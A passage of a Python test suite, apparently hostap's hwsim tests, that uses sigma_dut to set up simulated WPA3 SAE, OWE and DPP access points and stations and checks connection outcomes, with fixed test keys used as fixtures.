scan_freq="2412", ieee80211w="0", wait_connect=False)
dev[0].request("SET sae_groups ")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
scan_freq="2412", ieee80211w="2")
dev[1].connect("test-sae", psk="12345678", scan_freq="2412")
ev = dev[2].wait_event(["CTRL-EVENT-CONNECTED"], timeout=0.1)
dev[2].request("DISCONNECT")
if ev is not None:
raise Exception("Unexpected connection without PMF")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_psk_sae_ft(dev, apdev, params):
"""sigma_dut controlled AP with PSK, SAE, FT"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_psk_sae_ft.sigma-hostapd")
conffile = os.path.join(params['logdir'],
"sigma_dut_ap_psk_sae_ft.sigma-conf")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default,NAME,AP,Program,WPA3")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae-psk,MODE,11ng,DOMAIN,aabb")
sigma_dut_cmd_check("ap_set_security,NAME,AP,AKMSuiteType,2;4;6;8;9,PSK,12345678,PairwiseCipher,AES-CCMP-128,GroupCipher,AES-CCMP-128")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,DOMAIN,0101,FT_OA,Enable")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,FT_BSS_LIST," + apdev[1]['bssid'])
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(conffile, "wb") as f2:
f2.write(f.read())
dev[0].request("SET sae_groups ")
dev[0].connect("test-sae-psk", key_mgmt="SAE FT-SAE",
sae_password="12345678", scan_freq="2412")
dev[1].connect("test-sae-psk", key_mgmt="WPA-PSK FT-PSK",
psk="12345678", scan_freq="2412")
dev[2].connect("test-sae-psk", key_mgmt="WPA-PSK",
psk="12345678", scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
@reset_ignore_old_scan_res
def test_sigma_dut_owe(dev, apdev):
"""sigma_dut controlled OWE station"""
if "OWE" not in dev[0].get_capability("key_mgmt"):
raise HwsimSkip("OWE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
params = {"ssid": "owe",
"wpa": "2",
"wpa_key_mgmt": "OWE",
"ieee80211w": "2",
"rsn_pairwise": "CCMP"}
hapd = hostapd.add_ap(apdev[0], params)
bssid = hapd.own_addr()
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,owe,Type,OWE" % ifname)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,owe,channel,1" % ifname,
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
res = sigma_dut_cmd_check("sta_get_parameter,interface,%s,Parameter,PMK" % ifname)
logger.info("Reported PMK: " + res)
if ",PMK," not in res:
raise Exception("PMK not reported");
if hapd.request("GET_PMK " + dev[0].own_addr()) != res.split(',')[3]:
raise Exception("Mismatch in reported PMK")
dev[0].dump_monitor()
sigma_dut_cmd("sta_reassoc,interface,%s,Channel,1,bssid,%s" % (ifname, bssid))
dev[0].wait_connected()
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
dev[0].wait_disconnected()
dev[0].dump_monitor()
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,owe,Type,OWE,ECGroupID,20" % ifname)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,owe,channel,1" % ifname,
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
dev[0].wait_disconnected()
dev[0].dump_monitor()
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,owe,Type,OWE,ECGroupID,0" % ifname)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,owe,channel,1" % ifname,
timeout=10)
ev = dev[0].wait_event(["CTRL-EVENT-ASSOC-REJECT"], timeout=10)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
if ev is None:
raise Exception("Association not rejected")
if "status_code=77" not in ev:
raise Exception("Unexpected rejection reason: " + ev)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
@reset_ignore_old_scan_res
def test_sigma_dut_owe_ptk_workaround(dev, apdev):
"""sigma_dut controlled OWE station with PTK workaround"""
if "OWE" not in dev[0].get_capability("key_mgmt"):
raise HwsimSkip("OWE not supported")
params = {"ssid": "owe",
"wpa": "2",
"wpa_key_mgmt": "OWE",
"owe_ptk_workaround": "1",
"owe_groups": "20",
"ieee80211w": "2",
"rsn_pairwise": "CCMP"}
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, owe_ptk_workaround=True)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,owe,Type,OWE,ECGroupID,20" % ifname)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,owe,channel,1" % ifname,
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_owe(dev, apdev, params):
"""sigma_dut controlled AP with OWE"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_owe.sigma-hostapd")
if "OWE" not in dev[0].get_capability("key_mgmt"):
raise HwsimSkip("OWE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default,NAME,AP,Program,WPA3")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,owe,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,OWE")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
id = dev[0].connect("owe", key_mgmt="OWE", ieee80211w="2",
scan_freq="2412")
res = sigma_dut_cmd_check("ap_get_parameter,name,AP,STA_MAC_Address,%s,Parameter,PMK" % dev[0].own_addr())
logger.info("Reported PMK: " + res)
if ",PMK," not in res:
raise Exception("PMK not reported");
if dev[0].get_pmk(id) != res.split(',')[3]:
raise Exception("Mismatch in reported PMK")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_owe_ecgroupid(dev, apdev):
"""sigma_dut controlled AP with OWE and ECGroupID"""
if "OWE" not in dev[0].get_capability("key_mgmt"):
raise HwsimSkip("OWE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface)
try:
sigma_dut_cmd_check("ap_reset_default,NAME,AP,Program,WPA3")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,owe,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,OWE,ECGroupID,20 21,PMF,Required")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("owe", key_mgmt="OWE", ieee80211w="2",
owe_group="20", scan_freq="2412")
dev[0].request("REMOVE_NETWORK all")
dev[0].wait_disconnected()
dev[0].connect("owe", key_mgmt="OWE", ieee80211w="2",
owe_group="21", scan_freq="2412")
dev[0].request("REMOVE_NETWORK all")
dev[0].wait_disconnected()
dev[0].connect("owe", key_mgmt="OWE", ieee80211w="2",
owe_group="19", scan_freq="2412", wait_connect=False)
ev = dev[0].wait_event(["CTRL-EVENT-ASSOC-REJECT"], timeout=10)
dev[0].request("DISCONNECT")
if ev is None:
raise Exception("Association not rejected")
if "status_code=77" not in ev:
raise Exception("Unexpected rejection reason: " + ev)
dev[0].dump_monitor()
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_owe_ptk_workaround(dev, apdev):
"""sigma_dut controlled AP with OWE PTK workaround"""
if "OWE" not in dev[0].get_capability("key_mgmt"):
raise HwsimSkip("OWE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, owe_ptk_workaround=True)
try:
sigma_dut_cmd_check("ap_reset_default,NAME,AP,Program,WPA3")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,owe,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,OWE,ECGroupID,20,PMF,Required")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("owe", key_mgmt="OWE", ieee80211w="2",
owe_group="20", owe_ptk_workaround="1",
scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_owe_transition_mode(dev, apdev, params):
"""sigma_dut controlled AP with OWE and transition mode"""
if "OWE" not in dev[0].get_capability("key_mgmt"):
raise HwsimSkip("OWE not supported")
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_owe_transition_mode.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default,NAME,AP,Program,WPA3")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,WLAN_TAG,1,CHANNEL,1,SSID,owe,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,WLAN_TAG,1,KEYMGNT,OWE")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,WLAN_TAG,2,CHANNEL,1,SSID,owe,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,WLAN_TAG,2,KEYMGNT,NONE")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
res1 = sigma_dut_cmd_check("ap_get_mac_address,NAME,AP,WLAN_TAG,1,Interface,24G")
res2 = sigma_dut_cmd_check("ap_get_mac_address,NAME,AP,WLAN_TAG,2,Interface,24G")
dev[0].connect("owe", key_mgmt="OWE", ieee80211w="2",
scan_freq="2412")
dev[1].connect("owe", key_mgmt="NONE", scan_freq="2412")
if dev[0].get_status_field('bssid') not in res1:
raise Exception("Unexpected ap_get_mac_address WLAN_TAG,1: " + res1)
if dev[1].get_status_field('bssid') not in res2:
raise Exception("Unexpected ap_get_mac_address WLAN_TAG,2: " + res2)
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_owe_transition_mode_2(dev, apdev, params):
"""sigma_dut controlled AP with OWE and transition mode (2)"""
if "OWE" not in dev[0].get_capability("key_mgmt"):
raise HwsimSkip("OWE not supported")
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_owe_transition_mode_2.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default,NAME,AP,Program,WPA3")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,WLAN_TAG,1,CHANNEL,1,SSID,owe,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,WLAN_TAG,1,KEYMGNT,NONE")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,WLAN_TAG,2,CHANNEL,1,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,WLAN_TAG,2,KEYMGNT,OWE")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
res1 = sigma_dut_cmd_check("ap_get_mac_address,NAME,AP,WLAN_TAG,1,Interface,24G")
res2 = sigma_dut_cmd_check("ap_get_mac_address,NAME,AP,WLAN_TAG,2,Interface,24G")
dev[0].connect("owe", key_mgmt="OWE", ieee80211w="2",
scan_freq="2412")
dev[1].connect("owe", key_mgmt="NONE", scan_freq="2412")
if dev[0].get_status_field('bssid') not in res2:
raise Exception("Unexpected ap_get_mac_address WLAN_TAG,2: " + res1)
if dev[1].get_status_field('bssid') not in res1:
raise Exception("Unexpected ap_get_mac_address WLAN_TAG,1: " + res2)
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def dpp_init_enrollee(dev, id1, enrollee_role):
logger.info("Starting DPP initiator/enrollee in a thread")
time.sleep(1)
cmd = "DPP_AUTH_INIT peer=%d role=enrollee" % id1
if enrollee_role == "Configurator":
cmd += " netrole=configurator"
if "OK" not in dev.request(cmd):
raise Exception("Failed to initiate DPP Authentication")
ev = dev.wait_event(["DPP-CONF-RECEIVED"], timeout=5)
if ev is None:
raise Exception("DPP configuration not completed (Enrollee)")
logger.info("DPP initiator/enrollee done")
def test_sigma_dut_dpp_qr_resp_1(dev, apdev):
"""sigma_dut DPP/QR responder (conf index 1)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 1)
def test_sigma_dut_dpp_qr_resp_2(dev, apdev):
"""sigma_dut DPP/QR responder (conf index 2)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 2)
def test_sigma_dut_dpp_qr_resp_3(dev, apdev):
"""sigma_dut DPP/QR responder (conf index 3)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 3)
def test_sigma_dut_dpp_qr_resp_4(dev, apdev):
"""sigma_dut DPP/QR responder (conf index 4)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 4)
def test_sigma_dut_dpp_qr_resp_5(dev, apdev):
"""sigma_dut DPP/QR responder (conf index 5)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 5)
def test_sigma_dut_dpp_qr_resp_6(dev, apdev):
"""sigma_dut DPP/QR responder (conf index 6)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 6)
def test_sigma_dut_dpp_qr_resp_7(dev, apdev):
"""sigma_dut DPP/QR responder (conf index 7)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 7)
def test_sigma_dut_dpp_qr_resp_8(dev, apdev):
"""sigma_dut DPP/QR responder (conf index 8)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 8)
def test_sigma_dut_dpp_qr_resp_9(dev, apdev):
"""sigma_dut DPP/QR responder (conf index 9)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 9)
def test_sigma_dut_dpp_qr_resp_10(dev, apdev):
"""sigma_dut DPP/QR responder (conf index 10)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 10)
def test_sigma_dut_dpp_qr_resp_11(dev, apdev, params):
"""sigma_dut DPP/QR responder (conf index 11)"""
if not os.path.exists("./dpp-ca.py"):
raise HwsimSkip("dpp-ca.py not available")
logdir = params['logdir']
with open("auth_serv/ec-ca.pem", "rb") as f:
res = f.read()
with open(os.path.join(logdir, "dpp-ca.pem"), "wb") as f:
f.write(res)
with open("auth_serv/ec-ca.key", "rb") as f:
res = f.read()
with open(os.path.join(logdir, "dpp-ca.key"), "wb") as f:
f.write(res)
with open(os.path.join(logdir, "dpp-ca-csrattrs"), "wb") as f:
f.write(b'MAsGCSqGSIb3DQEJBw==')
run_sigma_dut_dpp_qr_resp(dev, apdev, 11, cert_path=logdir)
def test_sigma_dut_dpp_qr_resp_chan_list(dev, apdev):
"""sigma_dut DPP/QR responder (channel list override)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, 1, chan_list='81/2 81/6 81/1',
listen_chan=2)
def test_sigma_dut_dpp_qr_resp_status_query(dev, apdev):
"""sigma_dut DPP/QR responder status query"""
check_dpp_capab(dev[1])
params = hostapd.wpa2_params(ssid="DPPNET01",
passphrase="ThisIsDppPassphrase")
hapd = hostapd.add_ap(apdev[0], params)
try:
dev[1].set("dpp_config_processing", "2")
run_sigma_dut_dpp_qr_resp(dev, apdev, 3, status_query=True)
finally:
dev[1].set("dpp_config_processing", "0", allow_fail=True)
def test_sigma_dut_dpp_qr_resp_configurator(dev, apdev):
"""sigma_dut DPP/QR responder (configurator provisioning)"""
run_sigma_dut_dpp_qr_resp(dev, apdev, -1, enrollee_role="Configurator")
def run_sigma_dut_dpp_qr_resp(dev, apdev, conf_idx, chan_list=None,
listen_chan=None, status_query=False,
enrollee_role="STA", cert_path=None):
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
sigma = start_sigma_dut(dev[0].ifname, cert_path=cert_path)
try:
cmd = "dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR"
if chan_list:
cmd += ",DPPChannelList," + chan_list
res = sigma_dut_cmd(cmd)
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
id1 = dev[1].dpp_qr_code(uri)
t = threading.Thread(target=dpp_init_enrollee, args=(dev[1], id1,
enrollee_role))
t.start()
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Single,DPPProvisioningRole,Configurator,DPPConfEnrolleeRole,%s,DPPSigningKeyECC,P-256,DPPBS,QR,DPPTimeout,6" % enrollee_role
if conf_idx is not None:
cmd += ",DPPConfIndex,%d" % conf_idx
if listen_chan:
cmd += ",DPPListenChannel," + str(listen_chan)
if status_query:
cmd += ",DPPStatusQuery,Yes"
res = sigma_dut_cmd(cmd, timeout=10)
t.join()
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
if status_query and "StatusResult,0" not in res:
raise Exception("Status query did not succeed: " + res)
finally:
stop_sigma_dut(sigma)
csign = "30770201010420768240a3fc89d6662d9782f120527fe7fb9edc6366ab0b9c7dde96125cfd250fa00a06082a8648ce3d030107a144034200042908e1baf7bf413cc66f9e878a03e8bb1835ba94b033dbe3d6969fc8575d5eb5dfda1cb81c95cee21d0cd7d92ba30541ffa05cb6296f5dd808b0c1c2a83c0708"
csign_pub = "3059301306072a8648ce3d020106082a8648ce3d030107034200042908e1baf7bf413cc66f9e878a03e8bb1835ba94b033dbe3d6969fc8575d5eb5dfda1cb81c95cee21d0cd7d92ba30541ffa05cb6296f5dd808b0c1c2a83c0708"
ap_connector = "eyJ0eXAiOiJkcHBDb24iLCJraWQiOiJwYWtZbXVzd1dCdWpSYTl5OEsweDViaTVrT3VNT3dzZHRlaml2UG55ZHZzIiwiYWxnIjoiRVMyNTYifQ.eyJncm91cHMiOlt7Imdyb3VwSWQiOiIqIiwibmV0Um9sZSI6ImFwIn1dLCJuZXRBY2Nlc3NLZXkiOnsia3R5IjoiRUMiLCJjcnYiOiJQLTI1NiIsIngiOiIybU5vNXZuRkI5bEw3d1VWb1hJbGVPYzBNSEE1QXZKbnpwZXZULVVTYzVNIiwieSI6IlhzS3dqVHJlLTg5WWdpU3pKaG9CN1haeUttTU05OTl3V2ZaSVl0bi01Q3MifX0.XhjFpZgcSa7G2lHy0OCYTvaZFRo5Hyx6b7g7oYyusLC7C_73AJ4_BxEZQVYJXAtDuGvb3dXSkHEKxREP9Q6Qeg"
ap_netaccesskey = "30770201010420ceba752db2ad5200fa7bc565b9c05c69b7eb006751b0b329b0279de1c19ca67ca00a06082a8648ce3d030107a14403420004da6368e6f9c507d94bef0515a1722578e73430703902f267ce97af4fe51273935ec2b08d3adefbcf588224b3261a01ed76722a630cf7df7059f64862d9fee42b"
def start_dpp_ap(apdev):
params = {"ssid": "DPPNET01",
"wpa": "2",
"ieee80211w": "2",
"wpa_key_mgmt": "DPP",
"rsn_pairwise": "CCMP",
"dpp_connector": ap_connector,
"dpp_csign": csign_pub,
"dpp_netaccesskey": ap_netaccesskey}
try:
hapd = hostapd.add_ap(apdev, params)
except:
raise HwsimSkip("DPP not supported")
return hapd
def test_sigma_dut_dpp_qr_init_enrollee(dev, apdev):
"""sigma_dut DPP/QR initiator as Enrollee"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
hapd = start_dpp_ap(apdev[0])
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[0].set("dpp_config_processing", "2")
cmd = "DPP_CONFIGURATOR_ADD key=" + csign
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
dev[1].set("dpp_configurator_params",
" conf=sta-dpp ssid=%s configurator=%d" % (to_hex("DPPNET01"), conf_id))
cmd = "DPP_LISTEN 2437 role=configurator"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6,DPPWaitForConnect,Yes", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_qr_init_enrollee_configurator(dev, apdev):
"""sigma_dut DPP/QR initiator as Enrollee (to become Configurator)"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
sigma = start_sigma_dut(dev[0].ifname)
try:
cmd = "DPP_CONFIGURATOR_ADD"
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
dev[1].set("dpp_configurator_params",
" conf=configurator ssid=%s configurator=%d" % (to_hex("DPPNET01"), conf_id))
cmd = "DPP_LISTEN 2437 role=configurator"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPNetworkRole,Configurator,DPPBS,QR,DPPTimeout,6", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_qr_mutual_init_enrollee(dev, apdev):
"""sigma_dut DPP/QR (mutual) initiator as Enrollee"""
run_sigma_dut_dpp_qr_mutual_init_enrollee_check(dev, apdev)
def test_sigma_dut_dpp_qr_mutual_init_enrollee_check(dev, apdev):
"""sigma_dut DPP/QR (mutual) initiator as Enrollee (extra check)"""
run_sigma_dut_dpp_qr_mutual_init_enrollee_check(dev, apdev,
extra="DPPAuthDirection,Mutual,")
def test_sigma_dut_dpp_qr_mutual_init_enrollee_mud_url(dev, apdev):
"""sigma_dut DPP/QR (mutual) initiator as Enrollee (MUD URL)"""
run_sigma_dut_dpp_qr_mutual_init_enrollee_check(dev, apdev,
mud_url="https://example.com/mud")
def run_sigma_dut_dpp_qr_mutual_init_enrollee_check(dev, apdev, extra='',
mud_url=None):
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
hapd = start_dpp_ap(apdev[0])
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,DPP" % ifname)
cmd = "DPP_CONFIGURATOR_ADD key=" + csign
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
dev[1].set("dpp_configurator_params",
" conf=sta-dpp ssid=%s configurator=%d" % (to_hex("DPPNET01"), conf_id))
cmd = "DPP_LISTEN 2437 role=configurator qr=mutual"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR")
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
id1 = dev[1].dpp_qr_code(uri)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,%sDPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6,DPPWaitForConnect,Yes" % extra
if mud_url:
cmd += ",MUDURL," + mud_url
res = sigma_dut_cmd_check(cmd, timeout=10)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,DPP" % ifname)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
if mud_url:
ev = dev[1].wait_event(["DPP-MUD-URL"], timeout=1)
if ev is None:
raise Exception("DPP MUD URL not reported")
if ev.split(' ')[1] != mud_url:
raise Exception("Unexpected MUD URL value: " + ev)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def dpp_init_conf_mutual(dev, id1, conf_id, own_id=None):
time.sleep(1)
logger.info("Starting DPP initiator/configurator in a thread")
cmd = "DPP_AUTH_INIT peer=%d conf=sta-dpp ssid=%s configurator=%d" % (id1, to_hex("DPPNET01"), conf_id)
if own_id is not None:
cmd += " own=%d" % own_id
if "OK" not in dev.request(cmd):
raise Exception("Failed to initiate DPP Authentication")
ev = dev.wait_event(["DPP-CONF-SENT"], timeout=10)
if ev is None:
raise Exception("DPP configuration not completed (Configurator)")
logger.info("DPP initiator/configurator done")
def test_sigma_dut_dpp_qr_mutual_resp_enrollee(dev, apdev):
"""sigma_dut DPP/QR (mutual) responder as Enrollee"""
run_sigma_dut_dpp_qr_mutual_resp_enrollee(dev, apdev)
def test_sigma_dut_dpp_qr_mutual_resp_enrollee_pending(dev, apdev):
"""sigma_dut DPP/QR (mutual) responder as Enrollee (response pending)"""
run_sigma_dut_dpp_qr_mutual_resp_enrollee(dev, apdev, ',DPPDelayQRResponse,1')
def run_sigma_dut_dpp_qr_mutual_resp_enrollee(dev, apdev, extra=None):
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
hapd = start_dpp_ap(apdev[0])
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[0].set("dpp_config_processing", "2")
cmd = "DPP_CONFIGURATOR_ADD key=" + csign
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR")
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
id1 = dev[1].dpp_qr_code(uri)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
t = threading.Thread(target=dpp_init_conf_mutual,
args=(dev[1], id1, conf_id, id0))
t.start()
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Mutual,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,20,DPPWaitForConnect,Yes"
if extra:
cmd += extra
res = sigma_dut_cmd(cmd, timeout=25)
t.join()
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def dpp_resp_conf_mutual(dev, conf_id, uri):
logger.info("Starting DPP responder/configurator in a thread")
dev.set("dpp_configurator_params",
" conf=sta-dpp ssid=%s configurator=%d" % (to_hex("DPPNET01"),
conf_id))
cmd = "DPP_LISTEN 2437 role=configurator qr=mutual"
if "OK" not in dev.request(cmd):
raise Exception("Failed to initiate DPP listen")
if uri:
